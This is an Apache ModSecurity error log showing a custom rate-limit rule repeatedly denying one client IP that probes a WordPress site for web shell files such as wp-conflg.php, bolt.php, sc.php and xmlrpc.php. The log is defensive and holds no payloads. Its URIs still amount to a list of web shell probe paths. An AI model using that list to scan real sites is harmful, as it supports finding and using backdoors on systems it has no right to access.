[Mon Mar 02 02:21:06.953405 2026] [:error] [pid 53180:tid 53467] [client 20.151.11.236:63562] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaSDkjPPJpDOBvYnaa1ncgAAAZc"]
[Mon Mar 02 02:21:07.378331 2026] [:error] [pid 53585:tid 53599] [client 20.151.11.236:63553] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaSDk3bCvYsvu6kKhM3GdQAAAAs"]
[Mon Mar 02 02:21:07.795671 2026] [:error] [pid 53585:tid 53607] [client 20.151.11.236:57474] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaSDk3bCvYsvu6kKhM3GeAAAABM"]
[Mon Mar 02 02:21:08.214141 2026] [:error] [pid 26940:tid 26946] [client 20.151.11.236:63517] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSDlBrUg-j5GLDtRFnjCgAAAEI"]
[Mon Mar 02 02:21:08.658021 2026] [:error] [pid 26940:tid 26951] [client 20.151.11.236:63519] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSDlBrUg-j5GLDtRFnjDwAAAEc"]
[Mon Mar 02 02:21:09.079561 2026] [:error] [pid 53182:tid 53563] [client 20.151.11.236:58878] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSDlfv073cA6eM1YCTqIQAAANM"]
[Mon Mar 02 02:21:09.494923 2026] [:error] [pid 53180:tid 53468] [client 20.151.11.236:58766] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aaSDlTPPJpDOBvYnaa1newAAAZg"]
[Mon Mar 02 02:21:09.915223 2026] [:error] [pid 53182:tid 53568] [client 20.151.11.236:58868] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSDlfv073cA6eM1YCTqKAAAANg"]
[Mon Mar 02 02:21:10.341512 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:63529] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSDlhrUg-j5GLDtRFnjGAAAAEM"]
[Mon Mar 02 02:21:10.761790 2026] [:error] [pid 26940:tid 26959] [client 20.151.11.236:63490] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSDlhrUg-j5GLDtRFnjGwAAAE8"]
[Mon Mar 02 02:21:11.202226 2026] [:error] [pid 53181:tid 53521] [client 20.151.11.236:58760] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/css/index.php"] [unique_id "aaSDl4r_0T1SazTrJOBRBQAAAQY"]
[Mon Mar 02 02:21:11.621946 2026] [:error] [pid 26940:tid 26944] [client 20.151.11.236:63525] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaSDlxrUg-j5GLDtRFnjIgAAAEA"]
[Mon Mar 02 02:21:12.057038 2026] [:error] [pid 26940:tid 26956] [client 20.151.11.236:63508] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaSDmBrUg-j5GLDtRFnjJgAAAEw"]
[Mon Mar 02 02:21:12.471220 2026] [:error] [pid 53181:tid 53518] [client 20.151.11.236:63498] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaSDmIr_0T1SazTrJOBRBwAAAQQ"]
[Mon Mar 02 02:21:12.906020 2026] [:error] [pid 26940:tid 26958] [client 20.151.11.236:58784] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sc.php"] [unique_id "aaSDmBrUg-j5GLDtRFnjLQAAAE4"]
[Mon Mar 02 02:21:13.336712 2026] [:error] [pid 53181:tid 53526] [client 20.151.11.236:63537] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSDmYr_0T1SazTrJOBRCgAAAQs"]
[Mon Mar 02 02:21:13.810014 2026] [:error] [pid 53181:tid 53531] [client 20.151.11.236:57542] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSDmYr_0T1SazTrJOBRCwAAARA"]
[Mon Mar 02 02:21:14.245464 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:58848] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSDmhrUg-j5GLDtRFnjOAAAAEY"]
[Mon Mar 02 02:21:14.755940 2026] [:error] [pid 26940:tid 26952] [client 20.151.11.236:63527] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aaSDmhrUg-j5GLDtRFnjPAAAAEg"]
[Mon Mar 02 02:21:15.252747 2026] [:error] [pid 26940:tid 26967] [client 20.151.11.236:63550] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aaSDmxrUg-j5GLDtRFnjQQAAAFc"]
[Mon Mar 02 02:21:15.680330 2026] [:error] [pid 26940:tid 26944] [client 20.151.11.236:58801] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aaSDmxrUg-j5GLDtRFnjSAAAAEA"]
[Mon Mar 02 02:21:16.092379 2026] [:error] [pid 53180:tid 53466] [client 20.151.11.236:57579] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aaSDnDPPJpDOBvYnaa1ntAAAAZY"]
[Mon Mar 02 02:21:16.511173 2026] [:error] [pid 53585:tid 53593] [client 20.151.11.236:58849] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ol.php"] [unique_id "aaSDnHbCvYsvu6kKhM3GlgAAAAU"]
[Mon Mar 02 02:21:16.930809 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:58853] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaSDnHbCvYsvu6kKhM3GmgAAAA0"]
[Mon Mar 02 02:21:17.348061 2026] [:error] [pid 26940:tid 26954] [client 20.151.11.236:63518] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaSDnRrUg-j5GLDtRFnjUQAAAEo"]
[Mon Mar 02 02:21:17.791319 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:58867] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaSDnRrUg-j5GLDtRFnjVAAAAEQ"]
[Mon Mar 02 02:21:18.247771 2026] [:error] [pid 53181:tid 53524] [client 20.151.11.236:58752] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f6.php"] [unique_id "aaSDnor_0T1SazTrJOBREgAAAQk"]
[Mon Mar 02 02:21:18.658587 2026] [:error] [pid 53181:tid 53525] [client 20.151.11.236:58773] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaSDnor_0T1SazTrJOBRFgAAAQo"]
[Mon Mar 02 02:21:19.087127 2026] [:error] [pid 53180:tid 53447] [client 20.151.11.236:63578] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaSDnzPPJpDOBvYnaa1ntgAAAYM"]
[Mon Mar 02 02:21:19.500186 2026] [:error] [pid 53182:tid 53559] [client 20.151.11.236:58823] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaSDn_v073cA6eM1YCTqRgAAAM8"]
[Mon Mar 02 02:21:19.932286 2026] [:error] [pid 53585:tid 53588] [client 20.151.11.236:57526] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/inputs.php"] [unique_id "aaSDn3bCvYsvu6kKhM3GpAAAAAA"]
[Mon Mar 02 02:21:20.342890 2026] [:error] [pid 53585:tid 53593] [client 20.151.11.236:63526] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aaSDoHbCvYsvu6kKhM3GpgAAAAU"]
[Mon Mar 02 02:21:20.751967 2026] [:error] [pid 53182:tid 53568] [client 20.151.11.236:57577] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aaSDoPv073cA6eM1YCTqSwAAANg"]
[Mon Mar 02 02:21:21.174992 2026] [:error] [pid 53585:tid 53610] [client 20.151.11.236:63549] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aaSDoXbCvYsvu6kKhM3GrgAAABY"]
[Mon Mar 02 02:21:21.593445 2026] [:error] [pid 26940:tid 26951] [client 20.151.11.236:63539] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aaSDoRrUg-j5GLDtRFnjXwAAAEc"]
[Mon Mar 02 02:21:22.007772 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:58761] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aaSDohrUg-j5GLDtRFnjYgAAAEs"]
[Mon Mar 02 02:21:22.416896 2026] [:error] [pid 53181:tid 53524] [client 20.151.11.236:58753] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aaSDoor_0T1SazTrJOBRJQAAAQk"]
[Mon Mar 02 02:21:22.834603 2026] [:error] [pid 53585:tid 53595] [client 20.151.11.236:57584] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aaSDonbCvYsvu6kKhM3GtgAAAAc"]
[Mon Mar 02 02:21:23.262160 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:63602] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bgymj.php"] [unique_id "aaSDoxrUg-j5GLDtRFnjbgAAAEs"]
[Mon Mar 02 02:21:23.680349 2026] [:error] [pid 26940:tid 26946] [client 20.151.11.236:63555] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aaSDoxrUg-j5GLDtRFnjcAAAAEI"]
[Mon Mar 02 02:21:24.115331 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:58855] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aaSDpBrUg-j5GLDtRFnjdwAAAEs"]
[Mon Mar 02 02:21:24.534619 2026] [:error] [pid 53182:tid 53558] [client 20.151.11.236:63594] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aaSDpPv073cA6eM1YCTqTwAAAM4"]
[Mon Mar 02 02:21:24.971845 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:58814] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/aa.php"] [unique_id "aaSDpBrUg-j5GLDtRFnjgAAAAEY"]
[Mon Mar 02 02:22:39.544065 2026] [:error] [pid 53182:tid 53545] [client 20.151.11.236:63564] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSD7_v073cA6eM1YCTrbgAAAMI"]
[Mon Mar 02 02:22:40.023871 2026] [:error] [pid 26940:tid 26962] [client 20.151.11.236:63566] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSD8BrUg-j5GLDtRFnlYAAAAFI"]
[Mon Mar 02 02:22:40.452843 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:58876] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSD8BrUg-j5GLDtRFnlZAAAAE0"]
[Mon Mar 02 02:22:40.928683 2026] [:error] [pid 53181:tid 53529] [client 20.151.11.236:63575] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaSD8Ir_0T1SazTrJOBR4wAAAQ4"]
[Mon Mar 02 02:22:41.393078 2026] [:error] [pid 53585:tid 53590] [client 20.151.11.236:58859] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aaSD8XbCvYsvu6kKhM3H1wAAAAI"]
[Mon Mar 02 02:22:41.813727 2026] [:error] [pid 26940:tid 26957] [client 20.151.11.236:63497] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aaSD8RrUg-j5GLDtRFnlcQAAAE0"]
[Mon Mar 02 02:22:42.233919 2026] [:error] [pid 53182:tid 53568] [client 20.151.11.236:55827] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aaSD8vv073cA6eM1YCTrdQAAANg"]
[Mon Mar 02 02:22:42.646726 2026] [:error] [pid 26940:tid 26965] [client 20.151.11.236:63548] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a.php"] [unique_id "aaSD8hrUg-j5GLDtRFnldgAAAFU"]
[Mon Mar 02 02:22:43.068510 2026] [:error] [pid 53181:tid 53525] [client 20.151.11.236:57552] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaSD84r_0T1SazTrJOBR5gAAAQo"]
[Mon Mar 02 02:22:43.522951 2026] [:error] [pid 26940:tid 26958] [client 20.151.11.236:63567] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaSD8xrUg-j5GLDtRFnlgAAAAE4"]
[Mon Mar 02 02:22:43.934191 2026] [:error] [pid 53181:tid 53527] [client 20.151.11.236:57561] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaSD84r_0T1SazTrJOBR6QAAAQw"]
[Mon Mar 02 02:22:44.354824 2026] [:error] [pid 26940:tid 26948] [client 20.151.11.236:63523] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/06.php"] [unique_id "aaSD9BrUg-j5GLDtRFnliAAAAEQ"]
[Mon Mar 02 02:22:44.768647 2026] [:error] [pid 26940:tid 26947] [client 20.151.11.236:58782] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/plss3.php"] [unique_id "aaSD9BrUg-j5GLDtRFnljQAAAEM"]
